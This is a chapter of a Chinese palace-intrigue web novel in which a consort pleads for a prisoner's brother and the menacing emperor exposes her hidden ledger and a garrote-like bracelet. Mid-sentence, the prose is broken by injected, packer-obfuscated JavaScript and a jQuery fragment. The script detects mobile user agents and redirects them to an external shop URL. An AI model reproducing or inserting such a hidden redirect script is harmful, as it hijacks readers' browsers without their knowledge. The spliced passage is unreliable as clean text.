8. 求情
作品:《与阴湿暴君同归于尽后》 秋意渐浓,天气变化无常,时而凉爽,时而酷热难耐,北辰官员们的心也跟着忽冷忽热的。
如兰轩内,沈无双看着跪在地上泪眼婆娑的贺兰依,也感到几分无奈。
“姐姐,不是我不愿意帮你,实在是此案非同小可,贸然求情,只怕是更害了你们。”
自从那日叶少虞在朝堂上将户部重新洗雪一遍,各地漕运使就人人自危,纷纷上奏自谴,卷入的人不说上千也有大几百人。沈无双深知此案牵连甚广,背后势力盘根错节,稍有不慎便会引火烧身。
“不,不会的。”
贺兰依涕泪涟涟,发鬓散乱,像抓到救星般死死抓住她的衣角:“妹妹,你宠眷不衰,人又机灵,况且在这深宫之中我无人可以诉苦,阿弟还小,诏狱苦寒,他都好不容易捱过来了,现在又要被遣往掖幽庭杂役,如何熬的过去。”
沈无双看着她默不作声。
上一世,她与贺兰依的交情更浅,所以她第一次来求自己时并没有答应下来。后来贺兰决在掖幽庭做苦役,染上一身病痛,身上更是被掌事姑姑打得伤痕累累。
贺兰依偷偷去看望时,寒冬腊月里,贺兰决衣不蔽体,烧得浑身通红,却仍然强撑病体在那洗着恭桶。她实在看不下去,背着贺兰决就跑过去找沈无双。
那时沈无双看着少年眉骨嶙峋、眼窝深陷的模样,终于动了恻隐之心,她虽然只是掌管杂役的卑贱女官,但是被叶少虞调到养心殿前伺候,掌事姑姑也得给她几分薄面。于是乎,贺兰决没了劳役的磋磨,在床上休息养病,又有贺兰依的照料,病好得很快。
待到贺兰决彻底痊愈后,他因恨叶少虞入骨,便跟她达成盟友。沈无双冒着风险将他藏在干净的恭桶里带出宫去,让他去投奔沈练,才有了后面的羽翼渐丰。
贺兰依看着她沉默的样子,以为是她不想帮忙,连忙又在地上磕了好几个响头:“妹妹,陛下喜欢你,只有你说的话他才能听得进去,我不求阿决能免罪,我只求让他好好活着少吃点苦头。”
见沈无双还是不吭声,她就仿佛疯了魔般,用那洁白的额头一下下地叩着地砖,血迹如蔷薇般绽开:“阿娘早逝,我一点点看着他长这么大,他一向要风得风要雨得雨,本是云上人,又怎么能接受突然之间堕入泥里。”
她抹去脸上纵横的眼泪,一脸决绝之色:“只要你肯救他,我们姐弟二人唯你马首是瞻。”
听了她的话,沈无双内心也起了波澜,倒不是她说的马首是瞻,而是因为他们的遭遇有几分相似。
阿娘早逝,兄长早早从军入伍,何尝不是为了给她一个倚靠。兄长待她,亦如今日的贺兰依待贺兰决,手足情深,怎可抛弃。
于是她拉起贺兰依手安慰道:“姐姐这是何苦,我答应就是了,陛下既然今夜召我,我就去探探他的金口。”
有了她的肯定,贺兰依这才像有了中心骨般,忙不迭地连连道谢。
在焦急和思忧中,沈无双终于等到了晚上。
叶少虞一直在忙空印案,许久没有踏入后宫。沈无双耐着性子研墨,手感都有几分生疏,而且始终找不到机会开口。
“你一直盯着朕做什么?”
冷不丁的,倒是叶少虞先打破了冷寂。
沈无双捏着墨块的手停顿下来,斟酌着开口试探:“听说最近空印案让陛下格外上心,眼下进展如何了?”
叶少虞闻言冷笑:“爱妃不知后宫不能干政?”
沈无双心里咯噔一下,连忙就要跪下求饶,却又被他伸手牢牢拽住。
“几个主谋都已午门问斩,其余户部官员降三级,至于那些漕运使,牵连甚广,各地又不能空着这个官职,教他们罚了些银子,自己回去责躬省过。”
叶少虞难得能耐着性子讲这么多话,沈无双缓缓坐回蒲团上,一时间不知如何接下去。
他却像是猜到了她的心思般,栗色的眼睛毫不忌讳地上下打量。
“你觉得朕罚得重吗?”
对于那些户部的官员,甚至对于漕运使,都不算重,但是对于主犯就这样斩首了……
沈无双低下头去,她就算有些疑惑,也不敢在这家伙面前说。
“朕知道你想说什么。”
叶少虞起身,一把把她拽进怀里,随手拿了一沓卷宗摊开。
“妾身不敢看……”抵着那冰冷坚硬的臂膀,沈无双不敢动弹,低声嗫喏着。
“朕要你看。”
叶少虞毫不客气地钳住她的脖颈,抵在桌前,离卷宗仅隔着几尺的距离。
待她渐渐看清眼前密密麻麻的数字以后,身上的那点不适感也不重要了。
上面的定税和实缴的粮税之间,叶少虞将每一笔差额都记了上去。与传闻中不同,这些差额以及将近三分之一,无论路途多么遥远的损耗都不可能有如此之多。
她愕然道:“缺了这么多粮食,就算他们要拿到市集去卖,为何京中粮食还这么紧俏?”
“这朕可不知道,”叶少虞松开手,冰冷的指尖顺着她的脖颈往下,在肩膀上流连,惊得她一个颤栗,“但是贺兰忠曾提到过一本账本,上面写了这些粮食的流向,似乎是他保命用的。”
他凑上来,话里话外间,她耳边缠上了一股温热的气息。
“沈练把贺兰府翻了个底朝天都没找出来账本在哪,你猜猜看,是在贺兰依还是贺兰决手上?”
沈无双的心跳漏了一拍,如果账本果真在他们手上,那所谓的感情,不过是玩弄她的把戏。
“她与淑妃也有些交情,不去求她,凭你一个宝林,她为什么要求你,就凭你盛宠不衰?”
“别忘了朕是如何坐上这把龙椅的,”叶少虞把玩着她的发丝,嗤笑一声,“是朕对你太好了,把你养得如此蠢笨,是敌是友都分不清。”
是了,叶少虞为了夺权,连同父异母的皇兄都敢杀,还有什么不敢的,更别说她一个小小的宝林了。
沈无双咬紧下唇,一股淡淡的血腥味在嘴里绽开。
是她太心急了些,只想着拉拢人心,却没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245435|197875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到原来贺兰依的明哲保身,是这个保法。前世她只是一介女官,恐怕生死在她眼中更是暗淡。
“不过你倒是可以宽心,听说那孩子在掖幽庭过得很苦,沈练已经来求过了,要他以带罪之身在禁军中好好磋磨,朕已经派他驻守午门。说到底,还是归你们沈家的恩情。”
他摸着那一头秀发,细滑油润,跟锦缎似的,竟生出几分爱不释手来。
他们之间贴得太近,体温透过薄薄的纱衣透过来,沈无双有些不适,轻轻挣扎几下,他却越抱越紧。
沈无双强自镇定心神,试图从这暧昧又危险的氛围中抽离思绪,拉扯间,叶少虞却发现了她左手上的串珠。
指尖摩挲着小巧的珠子,他发现了手绳的不对劲,忽地咧嘴一笑:“爱妃平日里戴着这么危险的东西,小心先把自个儿伤了。”
沈无双心头一紧,目光顺着叶少虞的手看去,那串珠她从未离身,此刻被叶少虞如此轻易地指出异样,让她不禁有些慌乱。
她强作镇定,轻声问道:“陛下何出此言?这不过是一串普通珠饰罢了。”
“是吗?”
叶少虞食指一勾,坚韧的鱼线就在那洁白的手腕上留下一道血痕。
“戴着这种东西确实鱼目混珠,知道的人以为是首饰,不知道的还以为你要谋杀谁呢。”
沈无双垂着眼帘:“妾身不知道陛下在说什么,这样的串珠妾身从前也有一个,只是后来不小心断了,这才换了个结实点的。”
“这样啊。”
叶少虞似有所悟地点点头,从她的手腕脱下串珠,竟然戴到了自己的脖子上,缠了几圈,便在脖颈处留下一道细细的勒痕。
“爱妃是否也想在朕身上试一试?”
疯子……沈无双毛骨悚然地从他怀里挣脱开,手忙脚乱间一把跌坐在地。
在灯影下,叶少虞明明笑着,却让她心生无边寒意。
沈无双强迫自己冷静下来,声音里却带着几分颤抖:“陛下天人之身,妾身不敢胡来。”
“爱妃不用怕,是朕玩笑开得有点过了,不过这种东西留着容易让人误会。”
叶少虞轻笑一声,手指轻轻一挑,手绳竟应声而断,十几颗珠子坠落在地,发出清脆的声响。
恍惚间,一个珠子刚好溅到了沈无双手中。
她紧握着手中的珠子,心中五味杂陈。她感激叶少虞的提醒,却又对他这种近乎残酷的坦诚感到恐惧。
她深吸一口气,努力让自己的声音听起来平静。“多谢陛下教诲,无双铭记于心。”
叶少虞满意地点点头:“好了,明日朕再派人给你送些首饰,区区一个串珠就不要再挂怀了。”
随后,他又用食指在唇间比了个噤声的手势:“记住今晚的事,不可以对任何人提起。”
“诺。”沈无双起身,脚步有些踉跄。
她知道,从这一刻起,她的每一步都必须更加小心谨慎,虽然她两世为人,但在这深宫之中,稍有不慎,就可能万劫不复。

